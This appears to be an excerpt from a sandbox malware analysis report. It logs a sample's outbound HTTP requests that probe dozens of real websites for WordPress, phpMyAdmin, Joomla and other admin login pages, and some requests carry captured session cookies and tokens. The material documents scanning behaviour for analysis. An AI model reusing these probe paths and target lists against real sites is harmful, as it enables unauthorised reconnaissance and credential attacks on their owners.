Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.integraledu.hrAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.bunasta.euAccept: /Accept-Encoding: deflate, gzipCookie: CMSSESSID80f9fd3f=n9r0q6tfn1hneshgldk0v63lt6User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.bunasta.eu/administrator/
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.harasduberry.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: OF=ggr72avlfjvqinhaol7mprbv57User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: wonka.ccAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: eco-landeck.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: saudi-jamac.comAccept: /Accept-Encoding: deflate, gzipCookie: dps_site_id=us-east-1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://getquipu.com/
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: gruporegiosafety.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: lumaruniformes.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: belongfbg.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/pages/ HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://esoft.academy/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: k8spersistent=4f36ac64dc73c26adfab9dad01788b38\|11f187638643e13d7bd1963991fac52b; OF=9lma3oral9i39bi8q8vm70o157User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin HTTP/1.1Host: gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipCookie: PublishedSiteSession=eyJpdiI6InRCT085QUZJRjFua2xuMDJDT3JmbHc9PSIsInZhbHVlIjoiM3VwZ1JLbGxsM1JCcFR0U1RHbFZ4Wmk1OXNLN2ZLZ1BCa3Ezemo4Q2JnaFc1SnJ5OGt0ajUyRFpXc1ZlZkgyc002aEdTcWVIeldKVEdTT3hrZEhyQkxnOW45M3BxbHFoZFJTVlA2MHRkQUdud1RoM3hFc2R1TllxRE1DbWFQc0YiLCJtYWMiOiIzYzAwYjY4YWEyNjk2YTU4NDZjYmJlN2ZkOWEwNjQxMTY5YTVkYTg2NzA4MDhlNWNkZDQwMTRhYjMwNDhlN2IyIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6ImdiYkFhd05JR2E4T1V1QzU0RmJ0R1E9PSIsInZhbHVlIjoiZ1dZODltbm1WZkZRajlLRjFpVVV6VXBiZWtJdWlpWitLRXd6V09BMHMvcHh0Si9LRG81QjBGelNBRnlLTDZPcHdaMTZqV0hldnFXZ2pWTEZPOTlzRC9maFJOMk5WQmNhNjlabTVCTktsVzYrdWpJb000SmhCMU16Z0hUQ1o3RXkiLCJtYWMiOiJhMTMzN2U5N2RhYjc0MmQwNmQyYjhjZWYzZGQ2ZGZjNWJhZDM0OWFiODU1MTFmZjYyYjA4ZmI1ZmE0NDI5YTkzIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlJZU3NLbzFKdGUxMkI3Nm1jTjNaREE9PSIsInZhbHVlIjoidlEwV0taUnFVb1JOeXVHM2V6bXNaM3pEeWJSejdRUEE4R0cxcTYzZjVBYXYxVCs2elVaMW9MUFhESGVRa3RDQlY1R0lSVlA1bFJBWWJPRDNkaTBrRGl2amlDc0NoVFlpUjEvc25HeHFEaXc2N2ZrUk5DTmNteTFqZ3JWMnVaRDgiLCJtYWMiOiI2NTc0MTQyNjdkYzE4YWYwOTU3NDk3YzVjMTdlOWRkYmQ3MjMxMDBjNGUwMGVhMGRiN2U0Yzc5YTM5OTQ5YjI2IiwidGFnIjoiIn0%3DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipCookie: PublishedSiteSession=eyJpdiI6ImU4M05CeFdURWNUc0ZzQ2dqN1lFT3c9PSIsInZhbHVlIjoiaVhaYitWU0NGcUtJbFVXbHZDeTFZb3BvdXh5Y1dVajl2VDJEaXYrR29OVlJuWmVDUnB1SkZEVGN4NFVIak5CekRjdXdzVkd3R25zSWZXcVo5akRja0hsWDhNbzVCSGYwalk4QmxQWENlYzJQdDZLUGRIVm5QNTBhYiszNXkxTGkiLCJtYWMiOiJmOTVmY2Y3NzZjN2M0NTRkNGMxNDdmYWYxZjI1YzVlM2QxZmZlMDgwMmMzOGYzNjg4ZTE5YjNlZTMxNGI4MTQ2IiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6InF3ZngrWVg5clBjRjFERUZvRVFCREE9PSIsInZhbHVlIjoiQjFQMzd6RTJFS0ovK2VYVVhaaUFWQjQxODRsWXA0RkZxUGZEWEhBZWFMK0tUTHNoZkVjQUJ5OE1BVHlPTThRbFlIaXNVL1JtRFllb2l3R0tLdURtZUkrVWIxL1AvR0hqdmRBWGNHSlFFWng1NzlTRmZ6QWFzZVFFRUdmalNieWgiLCJtYWMiOiJhYWJjOWRjYWY4NDFhNjhkMDY5MzM0YzQ1NTIxMTNhMGRjZDZkMmUxZTRkYzBlZGNmMDFhMjFhODk3Y2I3YjIzIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6Im5paEdlSlh3eDllRmZqM2VhVG5XbGc9PSIsInZhbHVlIjoiaTd1VWNrcEdXenVERFhjUEtQVFdzekd3a1ptYkZ3RE5lZ0NQdmtuYmE3U0pGZmVGNERmRWI2TzJWQnQvelArMUM5TEI1bHZSNnZHMGhuVkZseFd3am9ZSFNFNzQrbGRKSTNYeUV6VVJ2bUhHalFJY1lyWXRpK0lRQjdwZFlEdnUiLCJtYWMiOiI0NjM2ZjFlNjMzMDEyMDdhOGY0NTNmZTMyODdmMDhkZDk3NDBlZDMwMGQxNTI2Nzk2YTBiMDIxYzM0OWM0NGI2IiwidGFnIjoiIn0%3DUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: gccb.co.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /login/?page=%2Fphpmyadmin%2F HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=m8r73sfk2fugohr6q21ktgilm1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: rechagricola.com.brAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.rech.com/
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.maxiv.lu.seAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /Security/login?BackURL=%2Fadmin%2Fpages%2F HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=m4dctrurspuesp0b7frt4pped2User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=0o33saodno7vmroa695q9i7ie9User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://login.microsoftonline.com/c8f4395e-fa4e-4196-adb9-ba2cd2ca09f0/saml2?SAMLRequest=fZJRb9owFIXf%2BRVV3uM4CaGJBUisrC0SA1TYHvYyXeybYsmxU9tpx79fiLd1mzTu4%2FE9n8498tRBo1q26PxJP%2BFLh86Pbvr53ijt2PA4izqrmQEnHdPQoGOes%2F3i05plhLLWGm%2B4UdE%2FtusucA6tl0YH22o5i7abj%2Bvtw2rzbZJCxbEu6FHc5hWnNE2xHFdlWRcgUBR5QUHkcBusX9C6njOLemw0CjTnOlxp50H7XqdZHqdpnE0OtGBFxfLya7Au%2B2OlBj%2FYT963jiWJMs9Sk0Zya5ypvdFKaiTcNAkv63FeFRjXMMZ4nFaTGMSxio%2BQcZFxoFVNk8vpWcDvfjbzQWoh9fP1Qo5hybHHw2EX77b7Q4AsfhV1Z7TrGrR7tK%2BS4%2Ben9Xvm5kw4qFewZ%2FKiBEHREeiGKAkPNtKe2mg%2BEKcXnQ0d2flVwjT5c%2FXd3LJNn3%2B13Bkl%2BXnQL3NvbAP%2B%2F2emJB0UKeJ6WGWddi1yWUsU0W%2FMQinzdmcRPM4ibzuMbpL5KGT5%2B6POfwA%3D&RelayState=%2Fadministrator%2F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: daisyokogyo.co.jpAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp/wp-login.php HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipCookie: _cfuvid=Y9iVqDLjjy.4c42u423kB35hFI4xb1W3CLV4ZRxyw.Y-1700978381430-0-604800000User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: engel-firm.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: mydirectlender.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: jamiesonmullin.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: knu.ac.inAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: samson.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.perrisesd.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: edgewater.groupAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /en/admin HTTP/1.1Host: www.dstaq.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: www.bunasta.euAccept: /Accept-Encoding: deflate, gzipCookie: CMSSESSID80f9fd3f=n9r0q6tfn1hneshgldk0v63lt6User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.bunasta.eu/administrator/
Source: global traffic	HTTP traffic detected: GET /pma HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipCookie: _cfuvid=LBk7ek8JijCF4DUXGuPIp.xw2i6pFPf2iviA637QaLY-1700978381416-0-604800000User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: www.rechagricola.com.brAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/ HTTP/1.1Host: eco-landeck.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: gruporegiosafety.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: unaj.edu.peAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin HTTP/1.1Host: www.gatewaytoearlylearning.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: www.perrisesd.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: webstamp.caAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php?redirect_to=https%3A%2F%2Flumaruniformes.com%2Fwp-admin%2F&reauth=1 HTTP/1.1Host: lumaruniformes.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: www.grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: talentius.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: grantstech.ioAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: tiswheels.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: gruporegiosafety.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: ce-logic.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: belongfbg.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /administrator/index.php HTTP/1.1Host: www.rechagricola.com.brAccept: /Accept-Encoding: deflate, gzipCookie: originDirect=trueUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://www.rech.com/
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.linkan-group.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: esoft.academyAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: www.harasduberry.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1Host: www.hugedomains.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: tradeavenida.comAccept: /Accept-Encoding: deflate, gzipCookie: _cfuvid=Y9iVqDLjjy.4c42u423kB35hFI4xb1W3CLV4ZRxyw.Y-1700978381430-0-604800000User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: www.2brospw.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /404/ HTTP/1.1Host: www.grg17geblergasse.atAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://www.grg17geblergasse.at/-/-/-/-/-/-/-/-/-/-/
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: wonka.ccAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: k8spersistent=4f36ac64dc73c26adfab9dad01788b38\|11f187638643e13d7bd1963991fac52b; OF=9lma3oral9i39bi8q8vm70o157User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: https://beachrecruitment.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: hightideinc.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: himontessori.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: coralparkchristian.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: getquipu.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin/ HTTP/1.1Host: edgewater.groupAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /saml/index.php?page=%2Fphpmyadmin%2F HTTP/1.1Host: my.calvary.qld.edu.auAccept: /Accept-Encoding: deflate, gzipCookie: PHPSESSID=m8r73sfk2fugohr6q21ktgilm1User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp/wp-login.php HTTP/1.1Host: www.ceuandalucia.esAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: beachrecruitment.comAccept: /Accept-Encoding: deflate, gzipCookie: k8spersistent=22cb6f4364865b2e22019c7dac43ae73\|11f187638643e13d7bd1963991fac52b; OF=9et5pla7nsi6m08nuam1qvco53User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: rech.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: avient.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
